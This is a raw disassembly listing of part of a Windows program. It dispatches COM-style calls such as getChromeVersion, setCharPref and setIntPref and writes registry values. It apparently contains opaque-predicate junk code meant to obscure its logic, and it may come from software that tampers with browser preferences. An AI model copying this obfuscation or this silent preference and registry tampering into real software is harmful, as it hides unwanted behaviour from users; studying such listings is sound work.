call fcn.1400d37c0
mov qword [rsp + 0x5ab8], 0xf
mov qword [rsp + 0x5ab0], rdi
mov byte [rsp + 0x5aa0], 0
mov rax, qword [rsp + 0x2d0]
mov edx, dword [rax]
lea rcx, [rsp + 0x5ae0]
call fcn.140067040
mov qword [rsp + 0xa10], rax
cmp qword [rax + 0x18], 0x10
jb 0x140068a64
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x600]
call fcn.140003310
mov rbx, rax
lea r8, [0x1401603b8]
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x5f0]
call fcn.14001b320
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1b0]
call fcn.14000ff10
nop
mov rcx, qword [rsp + 0x5f0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x750], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140068ada
mov rdx, qword [rsp + 0x750]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x600]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x800], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140068b0c
mov rdx, qword [rsp + 0x800]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x5af8], 0x10
jb 0x140068b24
mov rcx, qword [rsp + 0x5ae0]
call fcn.1400d37c0
mov qword [rsp + 0x5af8], 0xf
mov qword [rsp + 0x5af0], rdi
mov byte [rsp + 0x5ae0], 0
mov rcx, qword [rsp + 0x2d0]
mov edx, dword [rcx]
lea eax, [rdx + 1]
mov dword [rcx], eax
lea rcx, [rsp + 0x5a60]
call fcn.140067040
mov qword [rsp + 0xfa0], rax
cmp qword [rax + 0x18], 0x10
jb 0x140068b6e
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x620]
call fcn.140003310
mov rbx, rax
lea r8, [0x1401603c8]
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x610]
call fcn.14001b320
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1a0]
call fcn.14000ff10
nop
mov rcx, qword [rsp + 0x610]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x760], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140068be4
mov rdx, qword [rsp + 0x760]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x620]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x880], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140068c16
mov rdx, qword [rsp + 0x880]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x5a78], 0x10
jb 0x140068c2e
mov rcx, qword [rsp + 0x5a60]
call fcn.1400d37c0
mov qword [rsp + 0x5a78], 0xf
mov qword [rsp + 0x5a70], rdi
mov byte [rsp + 0x5a60], 0
mov eax, dword [0x1401d5d60]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub ecx, edx
cmp ecx, 0x11
jne 0x140068c77
inc dword [0x1401d7874]
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
mov rdx, qword [rsp + 0x1d0]
mov rcx, qword [rsi + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140068fd0
mov rax, qword [rsp + 0x78]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x7b0], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov r14, qword [rsp + 0x630]
mov qword [rsp + 0x20], r14
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x1c0]
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140068fd0
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x198]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
mov rdx, qword [rsp + 0x1b0]
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140068fd0
mov rax, qword [rsp + 0x80]
mov eax, dword [rax - 0x10]
mov dword [rsp + 0x4d0], eax
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x28], eax
mov rbx, qword [rsp + 0x770]
mov qword [rsp + 0x20], rbx
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rsp + 0x1a0]
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140068fd0
lea r8, [rsp + 0xe8]
lea rdx, [rsp + 0xb0]
mov rcx, rsi
call fcn.14006d120
mov rcx, rbx
call fcn.1400d4328
mov rcx, r14
call fcn.1400d4328
mov ecx, dword [0x1401d5d60]
imul ecx, ecx
mov eax, 0x2aaaaaab
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
cmp ecx, 8
jne 0x140068de3
call fcn.1400d41a0
mov ecx, dword [0x1401d5d60]
cmp ecx, eax
jne 0x140068de3
dec ecx
mov dword [0x1401d5d60], ecx
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r8d, dword [0x1401d5d60]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 7
jne 0x140068e61
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx, edx, 0x64
sub r8d, edx
add r8d, 0x2f4
movsxd rcx, r8d
mov eax, 4
mul rcx
cmovo rax, r15
mov rcx, rax
call fcn.1400d2e28
mov qword [rsp + 0xa20], rax
mov rcx, rax
call fcn.1400d3f08
test r12, r12
je 0x140068e76
mov esi, 0xb
mov word [r12], si
mov word [r12 + 8], r15w
mov rcx, qword [rsp + 0x1a0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x640], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140068ea8
mov rdx, qword [rsp + 0x640]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1b0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x810], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140068eda
mov rdx, qword [rsp + 0x810]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1c0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x650], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140068f0c
mov rdx, qword [rsp + 0x650]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1d0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x780], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140068f3e
mov rdx, qword [rsp + 0x780]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xb0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x660], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140068f70
mov rdx, qword [rsp + 0x660]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x860], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140068fa2
mov rdx, qword [rsp + 0x860]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x78]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x670], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006cdd2
mov rdx, qword [rsp + 0x670]
jmp 0x14006cdc9
test r12, r12
je 0x140068fe5
mov esi, 0xb
mov word [r12], si
mov word [r12 + 8], di
mov rcx, qword [rsp + 0x1a0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x440], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140069017
mov rdx, qword [rsp + 0x440]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1b0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x448], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140069049
mov rdx, qword [rsp + 0x448]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1c0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x458], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006907b
mov rdx, qword [rsp + 0x458]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x1d0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x468], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400690ad
mov rdx, qword [rsp + 0x468]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xb0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x478], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400690df
mov rdx, qword [rsp + 0x478]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x488], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140069111
mov rdx, qword [rsp + 0x488]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x78]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x498], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140069140
mov rdx, qword [rsp + 0x498]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x40]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4a8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006916f
mov rdx, qword [rsp + 0x4a8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x59e8], 0x10
jb 0x140069187
mov rcx, qword [rsp + 0x59d0]
call fcn.1400d37c0
mov qword [rsp + 0x59e8], 0xf
mov qword [rsp + 0x59e0], rdi
mov byte [rsp + 0x59d0], 0
mov rcx, qword [rsp + 0x68]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4b8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400691d2
mov rdx, qword [rsp + 0x4b8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x5b20]
call fcn.140019b40
nop
lea rcx, [rsp + 0x50]
call fcn.14003c410
nop
xor bl, bl
mov r14d, 1
jmp 0x14006cf1e
test r12, r12
je 0x14006920d
mov esi, 0xb
mov word [r12], si
mov word [r12 + 8], di
mov rcx, qword [rsp + 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4c8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006923f
mov rdx, qword [rsp + 0x4c8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x78]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4d8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006926e
mov rdx, qword [rsp + 0x4d8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x40]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4e8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006929d
mov rdx, qword [rsp + 0x4e8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x59e8], 0x10
jb 0x1400692b5
mov rcx, qword [rsp + 0x59d0]
call fcn.1400d37c0
mov qword [rsp + 0x59e8], 0xf
mov qword [rsp + 0x59e0], rdi
mov byte [rsp + 0x59d0], 0
mov rcx, qword [rsp + 0x68]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4f8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140069300
mov rdx, qword [rsp + 0x4f8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x5b20]
call fcn.140019b40
nop
lea rcx, [rsp + 0x50]
call fcn.14003c410
nop
xor bl, bl
mov r14d, 1
jmp 0x14006cf1e
lea rdx, str.getCurrentCppTime
lea rcx, [rsp + 0x40]
call fcn.140003770
test eax, eax
jne 0x140069666
test r12, r12
je 0x14006cdd2
lea rcx, [rsp + 0x508]
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov qword [rsp + 0x1e0], rdi
mov rcx, qword [rsp + 0x508]
mov qword [rsp + 0x1e0], rcx
movabs rax, 0xcccccccccccccccd
mul rcx
shr rdx, 3
mov qword [rsp + 0x1e0], rdx
lea rcx, str.__r_
mov rax, qword [str.__r_]
call qword [rax + 0x18]
mov qword [rsp + 0xd90], rax
lea rbx, [rax + 0x18]
mov qword [rsp + 0x3b0], rbx
mov r9d, dword [0x1401d5d60]
lea ecx, [r9 + 2]
lea eax, [r9 + 1]
imul ecx, eax
imul ecx, r9d
and ecx, 0x8000000f
jge 0x1400693d1
dec ecx
or ecx, 0xfffffff0
inc ecx
cmp ecx, 7
jne 0x140069445
mov r10d, edi
mov dword [rsp + 0x268], edi
cmp r10d, 0x100
jge 0x140069445
mov edx, r10d
mov dword [rsp + 0x228], edx
mov r8d, edi
mov dword [rsp + 0x1a8], edi
nop dword [rax]
cmp r8d, 8
jae 0x14006942e
mov ecx, edx
and ecx, 1
dec ecx
not ecx
and ecx, r9d
mov eax, edx
sar eax, 1
mov edx, ecx
xor edx, eax
mov dword [rsp + 0x228], edx
inc r8d
mov dword [rsp + 0x1a8], r8d
jmp 0x140069400
add r9d, edx
mov dword [0x1401d5d60], r9d
inc r10d
mov dword [rsp + 0x268], r10d
jmp 0x1400693e0
mov esi, edi
mov dword [rsp + 0xc8], edi
nop
cmp esi, 8
jge 0x1400694f7
lea rcx, [rsp + 0x200]
call fcn.140002270
nop
movsxd rax, esi
movzx r8d, byte [rsp + rax + 0x1e0]
lea rdx, str._.2x
lea rcx, [rsp + 0x200]
call fcn.140012260
mov rdx, qword [rsp + 0x200]
mov r8d, dword [rdx - 0x10]
mov dword [rsp + 0x6c0], r8d
lea rcx, [rsp + 0x3b0]
call fcn.1400109d0
nop
mov rcx, qword [rsp + 0x200]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x518], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400694da
mov rdx, qword [rsp + 0x518]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov esi, dword [rsp + 0xc8]
inc esi
mov dword [rsp + 0xc8], esi
mov rbx, qword [rsp + 0x3b0]
jmp 0x140069450
mov edx, dword [rbx - 0x10]
mov dword [rsp + 0x4e0], edx
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xa30], rax
test rax, rax
jne 0x14006951c
call fcn.140002650
mov qword [r12 + 8], rax
mov eax, 8
mov word [r12], ax
mov ecx, dword [0x1401d5d60]
imul ecx, ecx
mov eax, 0x2aaaaaab
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
cmp ecx, 8
jne 0x1400695ed
mov rsi, rdi
mov qword [rsp + 0x528], rdi
cmp rsi, 0xd2
jae 0x14006958c
call fcn.1400d41a0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movsd qword [rsp + rsi*8 + 0x5cd0], xmm0
inc rsi
mov qword [rsp + 0x528], rsi
jmp 0x140069560
mov r8d, 0xd1
mov dword [rsp + 0x238], edi
cmp edi, 0xd2
jge 0x1400695ed
mov eax, r8d
mov dword [rsp + 0x1b8], eax
cmp eax, edi
jle 0x1400695e9
movsxd rcx, eax
movsd xmm0, qword [rsp + rcx*8 + 0x5cd0]
movsd xmm1, qword [rsp + rcx*8 + 0x5cc8]
comisd xmm0, xmm1
jbe 0x1400695e5
movsd qword [rsp + 0x1000], xmm0
movsd qword [rsp + rcx*8 + 0x5cd0], xmm1
movsd qword [rsp + rcx*8 + 0x5cc8], xmm0
dec eax
jmp 0x1400695a4
inc edi
jmp 0x140069592
call fcn.140067170
test al, al
jne 0x14006963d
mov ecx, dword [0x1401d5d60]
mov eax, 0x51eb851f
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub ecx, edx
add ecx, 0x7b
movsxd rcx, ecx
mov eax, 4
mul rcx
cmovo rax, r15
mov rcx, rax
call fcn.1400d2e28
mov qword [rsp + 0xa40], rax
mov rcx, rax
call fcn.1400d3f08
nop
add rbx, 0xffffffffffffffe8
mov qword [rsp + 0x538], rbx
mov eax, r15d
lock xadd dword [rbx + 0x10], eax
dec eax
jg 0x14006cdd2
mov rdx, qword [rsp + 0x538]
jmp 0x14006cdc9
lea rdx, str.getChromeVersion
lea rcx, [rsp + 0x40]
call fcn.140003770
test eax, eax
jne 0x140069700
lea rdx, [rsp + 0x2e0]
mov rcx, qword [rsi + 0x40]
call fcn.140067280
nop
test r12, r12
je 0x1400696cf
mov rcx, qword [rsp + 0x2e0]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x830], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xda0], rax
test rax, rax
jne 0x1400696c0
call fcn.140002650
mov qword [r12 + 8], rax
mov eax, 8
mov word [r12], ax
mov rcx, qword [rsp + 0x2e0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x548], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006cdd2
mov rdx, qword [rsp + 0x548]
jmp 0x14006cdc9
lea rdx, str.getDLLVersion
lea rcx, [rsp + 0x40]
call fcn.140003770
test eax, eax
jne 0x14006979a
lea rdx, [rsp + 0x370]
mov rcx, qword [rsi + 0x40]
call fcn.1400672d0
nop
test r12, r12
je 0x140069769
mov rcx, qword [rsp + 0x370]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x4f0], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xa50], rax
test rax, rax
jne 0x14006975a
call fcn.140002650
mov qword [r12 + 8], rax
mov eax, 8
mov word [r12], ax
mov rcx, qword [rsp + 0x370]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x558], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006cdd2
mov rdx, qword [rsp + 0x558]
jmp 0x14006cdc9
lea rdx, [0x1401603e8]
lea rcx, [rsp + 0x40]
call fcn.140003770
test eax, eax
je 0x14006c7f9
lea rdx, str.getIntPref
lea rcx, [rsp + 0x40]
call fcn.140003770
test eax, eax
je 0x14006c7f9
lea rdx, str.setCharPref
lea rcx, [rsp + 0x40]
call fcn.140003770
test eax, eax
jne 0x140069d6a
lea rdx, [0x140160590]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xfb0], rax
lea rdx, [0x140160598]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xa60], rax
cmp byte [rax + 8], 4
jne 0x14006cdd2
lea rdx, [0x1401605a0]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xdb0], rax
lea rdx, [0x1401605a8]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xa70], rax
cmp byte [rax + 8], 4
jne 0x14006cdd2
lea rdx, [0x140160570]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0x1030], rax
lea rdx, [0x140160578]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xa80], rax
cmp byte [rax + 8], 4
jne 0x14006cdd2
mov byte [rsp + 0x4a], 0
mov qword [rsp + 0x210], rdi
lea rdx, [0x140160580]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xdc0], rax
lea rdx, [0x140160588]
mov rcx, rax
call fcn.14003d190
test al, al
je 0x140069b80
lea rdx, [0x1401605d8]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xa90], rax
lea rdx, [0x1401605e0]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xfc0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xaa0], rdx
lea rcx, [rsp + 0x2f0]
call fcn.140003310
nop
mov rbx, qword [rsi + 0x50]
mov qword [rsp + 0x210], rbx
mov r8d, dword [0x1401d5d60]
mov ecx, r8d
imul ecx, r8d
mov eax, 0x38e38e39
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
sub ecx, eax
cmp ecx, 3
jne 0x140069981
mov dword [rsp + 0x1c8], edi
test r8d, r8d
je 0x14006997b
mov ecx, r8d
and ecx, 1
add edi, ecx
mov dword [rsp + 0x1c8], edi
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov dword [0x1401d5d60], eax
jmp 0x140069954
mov dword [0x1401d5d60], edi
lea rdx, [0x1401605e8]
lea rcx, [rsp + 0x2f0]
call fcn.140003770
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x210], rbx
mov rcx, qword [rsp + 0x2f0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x568], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400699db
mov rdx, qword [rsp + 0x568]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x210]
test rbx, rbx
je 0x140069b80
lea rdx, [0x14016063c]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xdd0], rax
lea rdx, [0x140160648]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xab0], rax
mov rdx, qword [rax]
mov qword [rsp + 0x1010], rdx
lea rcx, [rsp + 0x380]
call fcn.140003310
nop
lea rdx, [0x140160600]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xac0], rax
lea rdx, [0x140160608]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xde0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xad0], rdx
lea rcx, [rsp + 0x300]
call fcn.140003310
nop
lea rdx, [0x140160610]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xfd0], rax
lea rdx, [0x140160618]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xae0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xdf0], rdx
lea rcx, [rsp + 0x3f0]
call fcn.140003310
nop
mov r9, rbx
lea r8, [rsp + 0x380]
lea rdx, [rsp + 0x300]
lea rcx, [rsp + 0x3f0]
call fcn.14004d8c0
mov byte [rsp + 0x4a], al
mov rcx, qword [rsp + 0x3f0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x578], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140069b1d
mov rdx, qword [rsp + 0x578]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x300]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x588], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140069b4f
mov rdx, qword [rsp + 0x588]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x380]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x598], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140069d42
mov rdx, qword [rsp + 0x598]
jmp 0x140069d39
lea rax, [rsp + 0x5a8]
mov qword [rsp + 0xaf0], rax
lea rdx, [0x1401605b4]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xf50], rax
lea rdx, [0x1401605c0]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xb00], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe00], rdx
lea rcx, [rsp + 0x320]
call fcn.140003310
nop
lea rdx, [0x1401605c8]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xb10], rax
lea rdx, [0x1401605d0]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xf38], rax
mov rdx, qword [rax]
mov qword [rsp + 0xb20], rdx
lea rcx, [rsp + 0x3c0]
call fcn.140003310
nop
lea rdx, [0x140160624]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xe10], rax
lea rdx, [0x140160630]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xb30], rax
mov rdx, qword [rax]
mov qword [rsp + 0xf30], rdx
lea rcx, [rsp + 0x310]
call fcn.140003310
nop
lea rdx, [0x14015d72c]
lea rcx, [rsp + 0x5a8]
call fcn.1400022b0
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x1401d0d48]
lea r8, [rsp + 0x320]
lea rdx, [rsp + 0x3c0]
lea rcx, [rsp + 0x310]
call fcn.14004d400
mov byte [rsp + 0x4a], al
mov rcx, qword [rsp + 0x310]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5b8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140069cdf
mov rdx, qword [rsp + 0x5b8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x3c0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5c8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140069d11
mov rdx, qword [rsp + 0x5c8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x320]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5d8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140069d42
mov rdx, qword [rsp + 0x5d8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test r12, r12
je 0x14006cdd2
movzx eax, byte [rsp + 0x4a]
neg al
sbb cx, cx
mov word [r12 + 8], cx
mov esi, 0xb
mov word [r12], si
jmp 0x14006cdd2
lea rdx, str.setIntPref
lea rcx, [rsp + 0x40]
call fcn.140003770
test eax, eax
jne 0x14006a3da
lea rdx, [0x140160690]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xb40], rax
lea rdx, [0x140160698]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xe20], rax
cmp byte [rax + 8], 4
jne 0x14006a334
lea rdx, [0x1401606a0]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xb50], rax
lea rdx, [0x140160650]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xf78], rax
cmp byte [rax + 8], 4
jne 0x14006a334
lea rdx, [0x14016065c]
